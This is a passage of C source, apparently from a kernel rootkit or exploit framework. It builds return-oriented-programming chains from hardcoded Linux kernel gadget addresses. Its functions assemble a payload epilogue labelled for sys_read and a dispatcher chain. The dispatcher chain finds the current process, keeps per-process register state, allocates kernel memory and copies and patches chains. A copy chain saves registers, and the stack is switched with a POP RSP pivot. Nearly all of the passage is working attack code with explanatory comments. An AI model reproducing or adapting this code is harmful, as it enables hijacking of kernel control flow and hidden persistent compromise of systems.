    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // We now move the address of 'kfree' onto the kernel stack
    // This will free the memory of the payload area before we return.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size);  // Address of 'kfree'
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // 'kfree' now on the kernel stack
   
    // Move our interrupt enabling gadget to the kernel stack.
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);

    // Load the original RBP value into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RBP,
                                                                                 // must be overwritten by init

    // We want the VALUE within the state field of RBP
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET;

    // Move the original RBP to the kernel stack
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Orginal RBP now on kernel stack.
   
    // Save new value of kernel stack pointer
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
   
    // ----------------------------------------------------------------
    // 3. Restore/Prepare Registers
    // ----------------------------------------------------------------
    // Restore the Original value of RBX as it is callee saved
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RBX, REG_RBX);
   
    // Set RDI to the payload pointer for the call to 'kfree'
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             PAYLOAD, REG_RDI);
   
    // ----------------------------------------------------------------
    // 4. Transfer control back to the kernel.
    // ----------------------------------------------------------------
    // IMPORTANT: Do NOT override RDI!
    // For this we first get the kernel stack value from the state
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET

    // MOVE RAX to RBP for the LEAVE; RET;
    // Move new SP to RBP
    add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size);  // PUSH RAX; POP RBP; RET

    // Ramrod, activate the kernel.
    add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size);           // LEAVE; RET;

    // ----------------------------------------------------------------
    // << EPILOG SYS_READ DONE
    // ================================================================


    printf(" [!] DONE.\n");
    printf(" [!] Payload stack size %ld bytes\n", payload_stack_size);
}

/**
 * This function will create and setup our dispatcher fake stack.
 *
 * The dispatcher fake stack is written to the dispatcher_stack
 * variable. To do this, the dispatcher_stack is first created
 * using malloc. Since the dispatcher chain is also responsible
 * for the creation of the payload chain on every invocation,
 * this function also needs access to the payload chain that
 * is supposed create during its invocation.
 *
 * @param payload_chain A pointer that points to the END
 *                      of the payload chain.
 * @param payload_size The size of the payload chain.
 *
 */
static void create_dispatcher_fake_stack(void *payload_chain,
                                         u32 payload_size)
{
    u32 i = 0;
   
    // Patching locations.
    u32 loop_begin = 0;
   
    void *found_jump_location = 0;
    void *found_jump_over_location = 0;
    u32 found_jump_size = 0;
    u32 found_jump_over_size = 0;
   
    void *not_found_jump_location = 0;
    u32 not_found_jump_size = 0;
   
    // Helper for easy handling of the stack.
    void **fake_stack = 0;
    u32 *fake_stack_size = 0;
   
    // payload points to the beginning of the payload chain
    u64 *payload = (u64 *)(((char *)payload_chain) - payload_size);

    printf(" [+] Creating dispatcher fake stack...\n");
    dispatcher_stack = malloc(DISPACTHER_STACK_SIZE);

    if (!dispatcher_stack)
    {
            error(-1, 0, " \t[!] Failed to reserve memory for "
                         "the dispatcher fake stack!\n");
    }

    printf(" \t[*] dispatcher fake stack @ %p\n", dispatcher_stack);
   
    // Setup variables
    fake_stack = &dispatcher_stack;
    fake_stack_size = &dispatcher_stack_size;

    printf(" \t[*] Writing 'get_current_process'...");
    // ================================================================
    // >> OBTAIN PROCESS
    // ----------------------------------------------------------------
    // Get the task_struct pointer of the currently executing process
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c740, fake_stack, fake_stack_size);          // gs:0xc740

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
    // struct task_struct * now in RAX.
   
    // Save the pointer such that we can use RAX for other purposes.
    // We stored it temporarily in GLOBAL TMP.
    generate_set_state_value(fake_stack, fake_stack_size, GLOBAL_TMP,
                             REG_RAX);
   
    // ----------------------------------------------------------------
    // << OBTAIN PROCESS DONE
    // ================================================================
    printf(" Done.\n");
   
    printf(" \t[*] Writing search process state...");
    // ================================================================
    // >> SEARCH FOR PROCESS STATE
    // ----------------------------------------------------------------
    // We now have to check whether a state for this process already
    // exists or whether we have to create a new state field. We use
    // a "while" loop for this purpose.
    // Load the counter into RSI
    generate_pop(fake_stack, fake_stack_size, REG_RSI);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Counter is zero at the
                                                                                 // beginning.
    // ----------------------------------------------------------------
    // SEARCH LOOP
    // ----------------------------------------------------------------
    // LOOP_BEGIN:
    loop_begin = (*fake_stack_size);
   
    // Did we reach the end of the array? To see this, we have to
    // compare PROC_INDEX with the current counter value.
    // First we load PROC_INDEX into RBX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             PROC_INDEX, REG_RBX);
   
    // Next we load the counter (RSI) into RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Compare. If match goto NOT_FOUND
    not_found_jump_location = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    not_found_jump_size = (*fake_stack_size);
   
    // This code is only executed if this is a valid entry.
    // Load the compare value into RBX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RBX);
   
    // Load the base address of the state into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
   
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
   
    // Get the value at the calculated address.
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
   
    // Load the compare value into RDX
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Check wether the value match. If we found the entry, we jump
    // to FOUND.
    found_jump_location = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    found_jump_size = (*fake_stack_size);
   
    // This part is only executed if this is not the entry we are
    // looking for.
    // Increase the counter such that it points to the next entry.
    // Each entry is 16 bytes long, thus we increase by 16.
    generate_add_value(fake_stack, fake_stack_size, 16, REG_RSI);
   
    // Jump back up to LOOP_BEGIN
    generate_stack_decrement(fake_stack, fake_stack_size,
                             (*fake_stack_size) - loop_begin);
   
    // ----------------------------------------------------------------
    // FOUND:
    // ----------------------------------------------------------------
    // Update size
    found_jump_size = (*fake_stack_size) - found_jump_size;
    // The entry we are looking for is specified by RSI, which is the
    // offset of the entry from the beginning of the array. We want
    // the state value of the entry, which is 8 bytes behind the
    // position where RSI currently points to. Thus we first increment
    // RSI.
    generate_add_value(fake_stack, fake_stack_size, 8, REG_RSI);
   
    // Next we load the base address into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
   
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
   
    // Get the VALUE at the address.
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
   
    // Move the value to CUR_STATE
    generate_set_state_value(fake_stack, fake_stack_size,
                             CUR_STATE, REG_RAX);
   
    // Jump over NOT_FOUND. As the size of NOT FOUND is unknown at
    // this point in time we need to patch this location later on.
    found_jump_over_location = (*fake_stack);
    generate_stack_increment(fake_stack, fake_stack_size, 0x0);
    found_jump_over_size = (*fake_stack_size);
   
    // ----------------------------------------------------------------
    // NOT_FOUND
    // ----------------------------------------------------------------
    // Save the size for patching.
    not_found_jump_size = (*fake_stack_size) - not_found_jump_size;
    // There does not exist a local state for this process yet. Thus
    // we must create on. But first we save the task_struct pointer
    // into the array.   
    // First load the current index into RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             PROC_INDEX, REG_RSI);
   
    // Load the task struct pointer into RDX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RDX);
   
    // Set RAX to point to the next free entry in the PROC_STATE array
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);

    // Add Index to the the PROC_STATE pointer
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);     // ADD RAX, RSI; RET

    // Move task_struct pointer to array.
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
   
    // Increase the PROC_INDEX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RSI);
   
    // Move the update PROC_INDEX back
    generate_set_state_value(fake_stack, fake_stack_size,
                             PROC_INDEX, REG_RSI);
   
    // Next we need to reserve memory for the state.
    generate_kmalloc(fake_stack, fake_stack_size, PROCESS_STATE_SIZE);
    // Pointer in RAX
   
    // Save the pointer
    generate_set_state_value(fake_stack, fake_stack_size,
                             CUR_STATE, REG_RAX);
   
    // Now we can write the kmalloc pointer into the PROC_STATE
    // array. Basically we use the same sequence as .before.
    // First we load the current index into RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             PROC_INDEX, REG_RSI);
   
    // Load the state pointer into RDX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             CUR_STATE, REG_RDX);
   
    // Set RAX to point to the next free entry in the PROC_STATE array
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_patch_entry(fake_stack, fake_stack_size, PROC_STATE, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);

    // Add Index to the the PROC_STATE pointer
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);     // ADD RAX, RSI; RET

    // Move task_struct pointer to array.
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
   
    // Increase the PROC_INDEX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RSI);
   
    // Move the update PROC_INDEX back
    generate_set_state_value(fake_stack, fake_stack_size,
                             PROC_INDEX, REG_RSI);
   
    // Finally we must setup the state area.
    // For this we must load the pointer into RAX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             CUR_STATE, REG_RAX);
    // Then we can use the init gadget sequence
    generate_initialize_process_state(fake_stack, fake_stack_size);
   
    // ----------------------------------------------------------------
    // PATCH ALL JUMPS
    // ----------------------------------------------------------------
    // At last we must patch all of the jumps from above.
    // But first save the jump over size.
    found_jump_over_size = (*fake_stack_size) - found_jump_over_size;
    // FOUND
    generate_conditional_jump_equal(&found_jump_location,
                                    &found_jump_size,
                                    found_jump_size);
    // NOT FOUND
    generate_conditional_jump_equal(&not_found_jump_location,
                                    &not_found_jump_size,
                                    not_found_jump_size);
   
    // Jump over NOT FOUND after FOUND was executed.
    generate_stack_increment(&found_jump_over_location,
                             &found_jump_over_size,
                             found_jump_over_size);
   
    // ----------------------------------------------------------------
    // << SEARCH FOR PROCESS STATE
    // ================================================================
    printf(" Done.\n");
   
    printf(" \t[*] Writing copy register sequence...");
    // ================================================================
    // >> COPY REGISTER
    // ----------------------------------------------------------------
    // Copy the register value from the global state to the local
    // state.
    // IMPORTANT: We assume the register order has not changed!
    // (RDX, RCX, RBX, RSI, RDI, RAX, RBP)            
    // Load state into RCX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             CUR_STATE, REG_RCX);
    // ----------------------------------------------------------------
    // RDX
    // ----------------------------------------------------------------   
    // Load Value of RDX into RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_RDX, REG_RDI);
   
    // WRITE RDX
    add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);         // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;
    // Increase RCX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
   
    // ----------------------------------------------------------------
    // RCX
    // ----------------------------------------------------------------
    // Load Value of RCX into RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_RCX, REG_RDI);
   
    // WRITE RCX
    add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);         // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;
    // Increase RCX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
   
    // ----------------------------------------------------------------
    // RBX
    // ----------------------------------------------------------------
    // Load Value of RBX into RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_RBX, REG_RDI);
   
    // WRITE RBX
    add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);         // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;
    // Increase RCX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
   
    // ----------------------------------------------------------------
    // RSI
    // ----------------------------------------------------------------
    // Load Value of RSI into RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_RSI, REG_RDI);
   
    // WRITE RSI
    add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);         // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;
    // Increase RCX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
   
    // ----------------------------------------------------------------
    // RDI
    // ----------------------------------------------------------------
    // Load Value of RDI into RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_RDI, REG_RDI);
   
    // WRITE RDI
    add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);         // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;
    // Increase RCX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
   
    // ----------------------------------------------------------------
    // RAX
    // ----------------------------------------------------------------
    // Load Value of RAX into RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_RAX, REG_RDI);
   
    // WRITE RAX
    add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);         // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;
    // Increase RCX
    generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
   
    // ----------------------------------------------------------------
    // RBP
    // ----------------------------------------------------------------
    // Load Value of RAX into RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_RBP, REG_RDI);
   
    // WRITE RBP
    add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);         // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;
    // ----------------------------------------------------------------
    // << COPY REGISTER DONE
    // ================================================================
    printf(" Done.\n");
   
    printf(" \t[*] Writing copy chain using payload chain @ %p...", payload_chain);
    // ================================================================
    // >> COPY CHAIN
    // ----------------------------------------------------------------
    // Alrighty. Here we basically create a copy chain that copies the
    // payload chain to a newly created payload chain on each invocation.
   
    // Reserve memory (PAYLOAD size + 2 pages stack);
    generate_kmalloc(fake_stack, fake_stack_size,
                     PAYLOAD_STACK_SIZE + 2 * 4096);
   
    // Increase RAX by the stack size
    generate_add_value(fake_stack, fake_stack_size,
                       2 * 4096, REG_RAX);
   
    // Save the pointer
    generate_set_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RAX);
   
    // Save the payload pointer into the PAYLOAD field within
    // the process state
    // Load the state into RAX
    generate_get_state_value(fake_stack, fake_stack_size,
                             CUR_STATE, REG_RAX);
   
    // Point RAX to the PAYLOAD
    generate_add_value(fake_stack, fake_stack_size,
                       PAYLOAD, REG_RAX);
   
    // Move the pointer into RSI
    generate_move_from_rax(fake_stack, fake_stack_size,
                           REG_RSI);
   
    // Load the pointer to the PAYLOAD into RAX
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RAX);
   
    // Subtract the stack size of the pointer
    generate_substract_value(fake_stack, fake_stack_size,
                             2 * 4096, REG_RAX);
   
   
    // Save the pointer to the PAYLOAD into the state
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);       // MOV [RSI],RAX;
                                                                              // XOR EAX,EAX;
                                                                              // RET;
   
    // Reload RAX
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RAX);
   
    // Copy each value of the payload chain into the dispatcher stack.
    // For this we iterate over the current payload chain and create
    // a copy sequence for each value.
    for (i = 0; i < payload_size; i += 8)
    {
            // Load the current value of the payload chain into RDX
            add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET        
            // If the current payload value is a patch value, we have to point it
            // to its new location.
            // update_patch_entry((void *)payload, (*fake_stack), (*fake_stack_size));
            // Add the value.
            add_to_fake_stack((*payload), fake_stack, fake_stack_size);             // Current value of
                                                                                    // the copy chain

            // Store the value within the payload region
            add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET

            // Increase RAX to point to the next location in the payload region
            add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
            add_to_fake_stack(0x8, fake_stack, fake_stack_size);                    // Each value has
                                                                                    // 8-bytes
            // Now add to RAX
            add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX;
                                                                                    // MOV RAX, RDI; RET;

            // Increase Payload pointer
            payload += 1;
    }

    // ----------------------------------------------------------------
    // << COPY CHAIN DONE
    // ================================================================
    printf(" Done.\n");
   
   
    printf(" \t[*] Writing patching sequence...");
    // ================================================================
    // >> PATCHING SEQUENCE
    // ----------------------------------------------------------------
    // In the next step we must patch the sequence that we just
    // created.
   
    // First we patch all symbols within the local state.
    // RCX must contain the address of the stack, while RDI must contain
    // the base address of the state.
    // => Load RCX
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RCX);
    // => Load RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             CUR_STATE, REG_RDI);
   
    generate_patch_gadget(fake_stack, fake_stack_size,
                          payload_chain, payload_size, PROCESS);
   
    // Next we patch all symbols within the global state.
    // RCX must contain the address of the stack, while RDI must contain
    // the base address of the state.
    // => Load RCX
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RCX);
    // => Load RDI
    generate_pop(fake_stack, fake_stack_size, REG_RDI);
    add_patch_entry(fake_stack, fake_stack_size, GLOBAL_RDX, 0x0);        // must point to the
                                                                          // FIRST entry in the
                                                                          // global state!
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                  // must be overwritten
   
    generate_patch_gadget(fake_stack, fake_stack_size,
                          payload_chain, payload_size, GLOBAL);
    
    // ----------------------------------------------------------------
    // << PATCHING SEQUENCE DONE
    // ================================================================
    printf(" Done.\n");
   
    printf(" \t[*] Generating switching sequence...");
    // ================================================================
    // >> SWITCH TO PAYLOAD
    // ----------------------------------------------------------------
    // We use a POP RSP to switch to the payload stack. Thus we need
    // to push the RSP we want to use before we invoke the POP gadget.
    // To maintain control (the push changes the current gadget on
    // the stack!) we use a PUSH PUSH RET. The first PUSH pushes the
    // new SP value while the second push pushes the address of the
    // POP RSP gadget, which will then be executed by the ret.
    // First the PUSHs. Load the address of the PAYLOAD stack into RCX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             GLOBAL_TMP, REG_RCX);
   
    // RAX contains the address of the POP RSP; RET gadget.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81423f82, fake_stack, fake_stack_size);   // POP RSP; RET
   
    // Go
    add_to_fake_stack(0xffffffff81515a4b, fake_stack, fake_stack_size);   // PUSH RCX;
                                                                          // PUSH RAX;
                                                                          // RET;
   
    // ----------------------------------------------------------------
    // << SWITCH TO PAYLOAD DONE
    // ================================================================
    printf(" Done.\n");
    printf(" [!] Dispatcher stack size %ld bytes\n", (*fake_stack_size));
}
   
/**
 * This function will create and setup our copy fake stack.
 *
 * The copy fake stack is written to the copy_stack variable.
 * To do this, the copy_stack is first created using malloc.
 * Since the copy chain is also responsible for the creation
 * of the dispatcher chain on every invocation, this function
 * also needs access to the dispatcher chain that is supposed
 * to copy during its invocation.
 *
 * @param dispatcher_chain A pointer that points to the END
 *                         of the dispatcher chain.
 * @param dispatcher_size The size of the dispatcher chain.
 *
 */
static void create_copy_fake_stack(void *dispatcher_chain, u32 dispatcher_size)
{
    u32 i = 0;
   
    // dispatcher points to the beginning of the dispatcher chain
    u64 *dispatcher = (u64 *)(((char *)dispatcher_chain) - dispatcher_size);

    printf(" [+] Creating copy fake stack...\n");
    copy_stack = malloc(COPY_STACK_SIZE);

    if (!copy_stack)
    {
            error(-1, 0, " \t[!] Failed to reserve memory for the copy fake stack!\n");
    }

    printf(" \t[*] Copy fake stack @ %p\n", copy_stack);

    printf(" \t[*] Writing register saving prolog...");
    // ================================================================
    // >> PROLOG
    // ----------------------------------------------------------------
    // In the prolog we save all registers to our global state area.
   
    // ----------------------------------------------------------------
    // SAVE RDX
    // ----------------------------------------------------------------
    // Load state address of RDX into RAX
    add_to_fake_stack(0xffffffff8100a4de, &copy_stack, &copy_stack_size);   // POP RAX; RET;
    add_patch_entry(&copy_stack, &copy_stack_size, GLOBAL_RDX, 0);          // Create a patch entry
    add_to_fake_stack(0x0, &copy_stack, &copy_stack_size);                  // RDX,
                                                                            // must be overwritten by init

    // Save
    add_to_fake_stack(0xffffffff8115c832, &copy_stack, &copy_stack_size);   // MOV [RAX],RDX; RET

    // ----------------------------------------------------------------
    // SAVE RCX
    // ----------------------------------------------------------------
    // Load state address of RCX into RAX
    add_to_fake_stack(0xffffffff8100a4de, &copy_stack, &copy_stack_size);   // POP RAX; RET;
    add_patch_entry(&copy_stack, &copy_stack_size, GLOBAL_RCX, 0);          // Create a patch entry
    add_to_fake_stack(0x0, &copy_stack, &copy_stack_size);                  // RCX,
                                                                            // must be overwritten by init

    // Move RCX to RDX
    add_to_fake_stack(0xffffffff81060147, &copy_stack, &copy_stack_size);   // MOV RDX, RCX; RET;
   
    // Save
    add_to_fake_stack(0xffffffff8115c832, &copy_stack, &copy_stack_size);   // MOV [RAX],RDX; RET
   
    // -----------------------------------------------------------------
    // SAVE RBX
    // -----------------------------------------------------------------
    // This block is the first time we see our construct for using call
    // and push. Since both of these instructions push something onto
    // the stack and we  are not yet on our dispatcher stack, we must be
    // careful when using them. Basically, we need to be sure that the
    // stack pointer is at a location where the bytes immediatly above
    // (lower addresses) the sp can be clobbered. These locations are
    // the '0x4242424242424242' locations seen below.  These will be
    // overwritten on each pass. The key to this technique is the
    // combination of the 'ADD RSP, 0x10; RET;' that makes room on the
    // stack and the 'SUB RSP,0x8; CALL RDX' that sets the SP to a
    // position where the location  above can be overwritten. 
 
    // Call construct, required as the move from RBX to RDX contains a
    // call.
    // First setup CALL RCX
    add_to_fake_stack(0xffffffff810051ae, &copy_stack, &copy_stack_size);   // POP RCX; RET;
    add_to_fake_stack(0xffffffff816a9434, &copy_stack, &copy_stack_size);   // Address of ADD RSP, 0x38;
                                                                            //            RET;
   
    // Now setup CALL RDX
    add_to_fake_stack(0xffffffff812ce029, &copy_stack, &copy_stack_size);   // POP RDX; RET;
    add_to_fake_stack(0xffffffff81626b6e, &copy_stack, &copy_stack_size);   // Address of MOV RDX, RBX;
                                                                            //            CALL RCX;
   
    // Make some room for the return address that is pushed by the calls
    add_to_fake_stack(0xffffffff81352d33, &copy_stack, &copy_stack_size);   // ADD RSP, 0x10; RET;
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!

    // Stack fix for the ADD RSP,0x38 in RDX
    add_to_fake_stack(0xffffffff8143bc09, &copy_stack, &copy_stack_size);   // SUB RSP, 0x8; CALL RDX;
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    // RBX now in RDX.

    // Load state address of RBX into RAX
    add_to_fake_stack(0xffffffff8100a4de, &copy_stack, &copy_stack_size);   // POP RAX; RET;
    add_patch_entry(&copy_stack, &copy_stack_size, GLOBAL_RBX, 0);          // Create a patch entry
    add_to_fake_stack(0x0, &copy_stack, &copy_stack_size);                  // RBX,
                                                                            // must be overwritten by init

    // Save
    add_to_fake_stack(0xffffffff8115c832, &copy_stack, &copy_stack_size);   // MOV [RAX],RDX; RET

    // -----------------------------------------------------------------
    // SAVE RSI
    // -----------------------------------------------------------------
    // Call construct, required as the move from RSI to RDX contains a
    // call.
    // First setup CALL RBX
    add_to_fake_stack(0xffffffff812ca859, &copy_stack, &copy_stack_size);   // POP RBX; RET;
    add_to_fake_stack(0xffffffff816a9434, &copy_stack, &copy_stack_size);   // Address of ADD RSP, 0x38;
                                                                            //            RET;

    // Now setup CALL RDX
    add_to_fake_stack(0xffffffff812ce029, &copy_stack, &copy_stack_size);   // POP RDX; RET;
    add_to_fake_stack(0xffffffff815852e3, &copy_stack, &copy_stack_size);   // Address of MOV RDX, RSI;
                                                                            //            MOV ESI,R8D;
                                                                            //            CALL RBX;

    // Make some room for the return address that is pushed by the calls
    add_to_fake_stack(0xffffffff81352d33, &copy_stack, &copy_stack_size);   // ADD RSP, 0x10; RET;
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!

    // Stack fix for the ADD RSP,0x38 in RDX
    add_to_fake_stack(0xffffffff8143bc09, &copy_stack, &copy_stack_size);   // SUB RSP, 0x8; CALL RDX;
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    // RSI now in RDX.

    // Load state address of RSI into RAX
    add_to_fake_stack(0xffffffff8100a4de, &copy_stack, &copy_stack_size);   // POP RAX; RET;
    add_patch_entry(&copy_stack, &copy_stack_size, GLOBAL_RSI, 0);          // Create a patch entry
    add_to_fake_stack(0x0, &copy_stack, &copy_stack_size);                  // RSI,
                                                                            // must be overwritten by init

    // Save
    add_to_fake_stack(0xffffffff8115c832, &copy_stack, &copy_stack_size);   // MOV [RAX],RDX; RET

    // -----------------------------------------------------------------
    // SAVE RDI
    // -----------------------------------------------------------------
    // Call construct, required as the move from RDI to RDX contains a
    // call.
    // First setup CALL RCX
    add_to_fake_stack(0xffffffff810051ae, &copy_stack, &copy_stack_size);   // POP RCX; RET;
    add_to_fake_stack(0xffffffff816a9434, &copy_stack, &copy_stack_size);   // Address of ADD RSP, 0x38;
                                                                            //            RET;

    // Now setup CALL RDX
    add_to_fake_stack(0xffffffff812ce029, &copy_stack, &copy_stack_size);   // POP RDX; RET;
    add_to_fake_stack(0xffffffff811cc08e, &copy_stack, &copy_stack_size);   // Address of MOV RSI, RDI;
                                                                            //            MOV RDI,RAX;
                                                                            //            CALL RCX;

    // Make some room for the return address that is pushed by the calls
    add_to_fake_stack(0xffffffff81352d33, &copy_stack, &copy_stack_size);   // ADD RSP, 0x10; RET;
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!

    // Stack fix for the ADD RSP,0x38 in RDX
    add_to_fake_stack(0xffffffff8143bc09, &copy_stack, &copy_stack_size);   // SUB RSP, 0x8; CALL RDX;
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
